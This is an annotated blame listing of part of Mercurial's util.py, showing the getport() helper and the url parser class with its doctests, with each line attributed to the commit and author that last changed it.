35166 25c543944bc0 py3: add b'' to regular expressions which are raw strings Pulkit Goyal <7895pulkit@gmail.com> parents: 35053 diff changeset	2909 r = remod.compile(br'%s(%s)' % (prefix, patterns))
11988 8380ed691df8 util: add an interpolate() function to for replacing multiple values Steve Losh <steve@stevelosh.com> parents: 11946 diff changeset	2910 return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
8380ed691df8 util: add an interpolate() function to for replacing multiple values Steve Losh <steve@stevelosh.com> parents: 11946 diff changeset	2911
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2912
12076 49463314c24f mail/hgweb: support service names for ports (issue2350) Brodie Rao <brodie@bitheap.org> parents: 12054 diff changeset	2913 def getport(port):
49463314c24f mail/hgweb: support service names for ports (issue2350) Brodie Rao <brodie@bitheap.org> parents: 12054 diff changeset	2914 """Return the port for a given network service.
49463314c24f mail/hgweb: support service names for ports (issue2350) Brodie Rao <brodie@bitheap.org> parents: 12054 diff changeset	2915
49463314c24f mail/hgweb: support service names for ports (issue2350) Brodie Rao <brodie@bitheap.org> parents: 12054 diff changeset	2916 If port is an integer, it's returned as is. If it's a string, it's
49463314c24f mail/hgweb: support service names for ports (issue2350) Brodie Rao <brodie@bitheap.org> parents: 12054 diff changeset	2917 looked up using socket.getservbyname(). If there's no matching
26587 56b2bcea2529 error: get Abort from 'error' instead of 'util' Pierre-Yves David <pierre-yves.david@fb.com> parents: 26493 diff changeset	2918 service, error.Abort is raised.
12076 49463314c24f mail/hgweb: support service names for ports (issue2350) Brodie Rao <brodie@bitheap.org> parents: 12054 diff changeset	2919 """
49463314c24f mail/hgweb: support service names for ports (issue2350) Brodie Rao <brodie@bitheap.org> parents: 12054 diff changeset	2920 try:
49463314c24f mail/hgweb: support service names for ports (issue2350) Brodie Rao <brodie@bitheap.org> parents: 12054 diff changeset	2921 return int(port)
49463314c24f mail/hgweb: support service names for ports (issue2350) Brodie Rao <brodie@bitheap.org> parents: 12054 diff changeset	2922 except ValueError:
49463314c24f mail/hgweb: support service names for ports (issue2350) Brodie Rao <brodie@bitheap.org> parents: 12054 diff changeset	2923 pass
49463314c24f mail/hgweb: support service names for ports (issue2350) Brodie Rao <brodie@bitheap.org> parents: 12054 diff changeset	2924
49463314c24f mail/hgweb: support service names for ports (issue2350) Brodie Rao <brodie@bitheap.org> parents: 12054 diff changeset	2925 try:
36076 15c8c4ac5d9c py3: pass system string to socket.getservbyname Gregory Szorc <gregory.szorc@gmail.com> parents: 35940 diff changeset	2926 return socket.getservbyname(pycompat.sysstr(port))
12076 49463314c24f mail/hgweb: support service names for ports (issue2350) Brodie Rao <brodie@bitheap.org> parents: 12054 diff changeset	2927 except socket.error:
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2928 raise error.Abort(
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2929 _(b"no port number associated with service '%s'") % port
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2930 )
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2931
12087 a88a4720c2f0 parsebool: create new function and use it for config parsing Augie Fackler <durin42@gmail.com> parents: 12086 diff changeset	2932
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2933 class url(object):
14146 1618c4f6f15b tests: use raw string for url tests of '\' handling Mads Kiilerich <mads@kiilerich.com> parents: 14100 diff changeset	2934 r"""Reliable URL parser.
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2935
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2936 This parses URLs and provides attributes for the following
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2937 components:
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2938
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2939 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2940
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2941 Missing components are set to None. The only exception is
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2942 fragment, which is set to '' if present but empty.
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2943
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2944 If parsefragment is False, fragment is included in query. If
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2945 parsequery is False, query is included in path. If both are
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2946 False, both fragment and query are included in path.
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2947
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2948 See http://www.ietf.org/rfc/rfc2396.txt for more information.
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2949
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2950 Note that for backward compatibility reasons, bundle URLs do not
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2951 take host names. That means 'bundle://../' has a path of '../'.
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2952
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2953 Examples:
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2954
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	2955 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2956 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	2957 >>> url(b'ssh://[::1]:2200//home/joe/repo')
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2958 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	2959 >>> url(b'file:///home/joe/repo')
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2960 <url scheme: 'file', path: '/home/joe/repo'>
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	2961 >>> url(b'file:///c:/temp/foo/')
14915 28edd65000d9 url: handle urls of the form file:///c:/foo/bar/ correctly Matt Mackall <mpm@selenic.com> parents: 14825 diff changeset	2962 <url scheme: 'file', path: 'c:/temp/foo/'>
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	2963 >>> url(b'bundle:foo')
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2964 <url scheme: 'bundle', path: 'foo'>
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	2965 >>> url(b'bundle://../foo')
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2966 <url scheme: 'bundle', path: '../foo'>
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	2967 >>> url(br'c:\foo\bar')
14146 1618c4f6f15b tests: use raw string for url tests of '\' handling Mads Kiilerich <mads@kiilerich.com> parents: 14100 diff changeset	2968 <url path: 'c:\\foo\\bar'>
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	2969 >>> url(br'\\blah\blah\blah')
14699 388af80c058b url: catch UNC paths as yet another Windows special case (issue2808) Matt Mackall <mpm@selenic.com> parents: 14640 diff changeset	2970 <url path: '\\\\blah\\blah\\blah'>
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	2971 >>> url(br'\\blah\blah\blah#baz')
15074 64fbd0de9773 url: parse fragments first (issue2997) Matt Mackall <mpm@selenic.com> parents: 15066 diff changeset	2972 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	2973 >>> url(br'file:///C:\users\me')
20106 c33d9217e99d util: url keeps backslash in paths Simon Heimberg <simohe@besonet.ch> parents: 20000 diff changeset	2974 <url scheme: 'file', path: 'C:\\users\\me'>
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2975
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2976 Authentication credentials:
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2977
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	2978 >>> url(b'ssh://joe:xyz@x/repo')
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2979 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	2980 >>> url(b'ssh://joe@x/repo')
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2981 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2982
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2983 Query strings and fragments:
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2984
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	2985 >>> url(b'http://host/a?b#c')
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2986 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	2987 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2988 <url scheme: 'http', host: 'host', path: 'a?b#c'>
30036 3f4e1c033f40 url: fix crash by empty path with #fragments Yuya Nishihara <yuya@tcha.org> parents: 30031 diff changeset	2989
3f4e1c033f40 url: fix crash by empty path with #fragments Yuya Nishihara <yuya@tcha.org> parents: 30031 diff changeset	2990 Empty path:
3f4e1c033f40 url: fix crash by empty path with #fragments Yuya Nishihara <yuya@tcha.org> parents: 30031 diff changeset	2991
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	2992 >>> url(b'')
30036 3f4e1c033f40 url: fix crash by empty path with #fragments Yuya Nishihara <yuya@tcha.org> parents: 30031 diff changeset	2993 <url path: ''>
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	2994 >>> url(b'#a')
30036 3f4e1c033f40 url: fix crash by empty path with #fragments Yuya Nishihara <yuya@tcha.org> parents: 30031 diff changeset	2995 <url path: '', fragment: 'a'>
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	2996 >>> url(b'http://host/')
30036 3f4e1c033f40 url: fix crash by empty path with #fragments Yuya Nishihara <yuya@tcha.org> parents: 30031 diff changeset	2997 <url scheme: 'http', host: 'host', path: ''>
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	2998 >>> url(b'http://host/#a')
30036 3f4e1c033f40 url: fix crash by empty path with #fragments Yuya Nishihara <yuya@tcha.org> parents: 30031 diff changeset	2999 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
3f4e1c033f40 url: fix crash by empty path with #fragments Yuya Nishihara <yuya@tcha.org> parents: 30031 diff changeset	3000
3f4e1c033f40 url: fix crash by empty path with #fragments Yuya Nishihara <yuya@tcha.org> parents: 30031 diff changeset	3001 Only scheme:
3f4e1c033f40 url: fix crash by empty path with #fragments Yuya Nishihara <yuya@tcha.org> parents: 30031 diff changeset	3002
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	3003 >>> url(b'http:')
30036 3f4e1c033f40 url: fix crash by empty path with #fragments Yuya Nishihara <yuya@tcha.org> parents: 30031 diff changeset	3004 <url scheme: 'http'>
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3005 """
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3006
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3007 _safechars = b"!~*'()+"
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3008 _safepchars = b"/!~*'()+:\\"
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3009 _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3010
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3011 def __init__(self, path, parsequery=True, parsefragment=True):
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3012 # We slowly chomp away at path until we have only the path left
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3013 self.scheme = self.user = self.passwd = self.host = None
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3014 self.port = self.path = self.query = self.fragment = None
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3015 self._localpath = True
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3016 self._hostport = b''
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3017 self._origpath = path
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3018
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3019 if parsefragment and b'#' in path:
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3020 path, self.fragment = path.split(b'#', 1)
15074 64fbd0de9773 url: parse fragments first (issue2997) Matt Mackall <mpm@selenic.com> parents: 15066 diff changeset	3021
14699 388af80c058b url: catch UNC paths as yet another Windows special case (issue2808) Matt Mackall <mpm@selenic.com> parents: 14640 diff changeset	3022 # special case for Windows drive letters and UNC paths
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3023 if hasdriveletter(path) or path.startswith(b'\\\\'):
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3024 self.path = path
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3025 return
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3026
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3027 # For compatibility reasons, we can't handle bundle paths as
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3028 # normal URLS
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3029 if path.startswith(b'bundle:'):
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3030 self.scheme = b'bundle'
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3031 path = path[7:]
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3032 if path.startswith(b'//'):
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3033 path = path[2:]
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3034 self.path = path
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3035 return
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3036
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3037 if self._matchscheme(path):
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3038 parts = path.split(b':', 1)
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3039 if parts[0]:
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3040 self.scheme, path = parts
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3041 self._localpath = False
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3042
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3043 if not path:
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3044 path = None
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3045 if self._localpath:
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3046 self.path = b''
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3047 return
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3048 else:
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3049 if self._localpath:
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3050 self.path = path
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3051 return
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3052
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3053 if parsequery and b'?' in path:
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3054 path, self.query = path.split(b'?', 1)
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3055 if not path:
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3056 path = None
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3057 if not self.query:
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3058 self.query = None
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3059
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3060 # // is required to specify a host/authority
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3061 if path and path.startswith(b'//'):
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3062 parts = path[2:].split(b'/', 1)
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3063 if len(parts) > 1:
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3064 self.host, path = parts
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3065 else:
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3066 self.host = parts[0]
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3067 path = None
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3068 if not self.host:
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3069 self.host = None
15018 e89f62dcd723 url: really handle urls of the form file:///c:/foo/bar/ correctly Mads Kiilerich <mads@kiilerich.com> parents: 14988 diff changeset	3070 # path of file:///d is /d
e89f62dcd723 url: really handle urls of the form file:///c:/foo/bar/ correctly Mads Kiilerich <mads@kiilerich.com> parents: 14988 diff changeset	3071 # path of file:///d:/ is d:/, not /d:/
14915 28edd65000d9 url: handle urls of the form file:///c:/foo/bar/ correctly Matt Mackall <mpm@selenic.com> parents: 14825 diff changeset	3072 if path and not hasdriveletter(path):
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3073 path = b'/' + path
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3074
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3075 if self.host and b'@' in self.host:
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3076 self.user, self.host = self.host.rsplit(b'@', 1)
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3077 if b':' in self.user:
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3078 self.user, self.passwd = self.user.split(b':', 1)
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3079 if not self.host:
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3080 self.host = None
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3081
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3082 # Don't split on colons in IPv6 addresses without ports
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3083 if (
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3084 self.host
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3085 and b':' in self.host
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3086 and not (
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3087 self.host.startswith(b'[') and self.host.endswith(b']')
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3088 )
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3089 ):
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3090 self._hostport = self.host
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3091 self.host, self.port = self.host.rsplit(b':', 1)
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3092 if not self.host:
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3093 self.host = None
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3094
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3095 if (
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3096 self.host
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3097 and self.scheme == b'file'
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3098 and self.host not in (b'localhost', b'127.0.0.1', b'[::1]')
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3099 ):
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3100 raise error.Abort(
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3101 _(b'file:// URLs can only refer to localhost')
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3102 )
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3103
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3104 self.path = path
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3105
14988 e6730f9e13bc url: store and assume the query part of an url is in escaped form (issue2921) Benoit Boissinot <benoit.boissinot@ens-lyon.org> parents: 14915 diff changeset	3106 # leave the query string escaped
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3107 for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'):
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3108 v = getattr(self, a)
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3109 if v is not None:
31573 4ebecf331d7d util: use urlreq.unquote Gregory Szorc <gregory.szorc@gmail.com> parents: 31547 diff changeset	3110 setattr(self, a, urlreq.unquote(v))
